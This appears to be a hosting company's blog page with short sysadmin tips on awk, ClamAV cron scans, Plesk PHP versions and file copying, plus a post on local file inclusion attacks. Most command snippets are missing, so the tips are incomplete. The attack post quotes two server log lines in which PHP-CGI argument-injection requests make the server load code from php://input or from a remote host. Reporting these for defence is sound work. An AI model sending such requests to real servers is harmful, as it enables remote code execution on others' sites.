Category: Scripting

How-to Cut With Multi-Character Delimiter

The “cut” command is great for splitting a string on a single character and extracting specific fields. But it will not work with multi-character delimiters. Here’s a simple replacement using awk that will get the job done. Let’s assume you have a string like:

We could extract the value of “arg3” using cut with:

But this assumes that there are always the same number of proceeding args: Now lets do it with awk:

But what if the args are in different order? The we can use sed:

 

Read More »

Cronjob for ClamAV

ClamAV can be useful for things like scanning a web root for viruses. Use this handy script with a cron job to setup nightly scans that send an email report.

Follow the directions on the site to install. We’ve modified the last line of the script so that it will work properly. Comment out the last line in /usr/local/bin/clamav-cron and add the following line to fix portion of the script that sends email. Make sure mailx is installed.

You can use crontab -e to open up the cron editor and add the following entry:

This tells ClamAV to scan /var/www/vhosts each morning at 3am and send an email report.

Read More »

Plesk 11.5 with Multiple PHP Versions

The latest version of Plesk support multiple PHP versions. The user or admin can select the version from the control panel. Once you have the PHP versions installed use  the /usr/local/psa/bin/php_handler utility to inform Plesk. for example:

Also here’s an article that shows how to build the alternate version on Debian, including accurate info about necessary patches: http://zgadzaj.com/how-to-install-php-53-and-52-together-on-ubuntu-1204  

Read More »

Copy Files & Create Missing Directories

I needed to find all the image files in a large directory tree and then copy them to a new directory tree while preserving the directory structure. Here’s my solution: 1. Find the files and save list to a file:

This command demonstrates using the -exec option on “find” to feed the “file” command. 2. Copy each file on the list, creating sub directories as needed:

This command demonstrates a one line while loop feed by input redirection. Also notice the “–parents” option on the “cp” command.

Read More »

Local File Inclusion Attacks

We’ve seen several sites compromised in the last few weeks using a “local file inclusion” vulnerability with “php://input”. Here are some sample log entries: 91.224.160.25 – – [23/May/2013:12:23:54 +0000] “POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1” 200 247 “-” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2” 89.111.24.97 – – [29/May/2013:08:38:22 +0000] “GET /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp://gofastdownload.com/rf/code.txt HTTP/1.1” 200 1104 “-” “Opera/9.80 (Windows NT 6.1; U; MRA 8.0 (build 5745); ru) Presto/2.10.229 Version/11.64” This page explains the attack: http://zerofreak.blogspot.com/2012/04/lfi-exploitation-via-phpinput-shelling.html One of the compromised sites was Expression Engine and one was Drupal. Here’s a bit of PHP code that I added to index.php to stop further attacks:

Obviously this is a very serious threat. We would advise all sites to test for this vulnerability.

Read More »

Categories

Get a free consultation from Reliable Penguin

Submit the form—or for immediate service call 866-649-7984.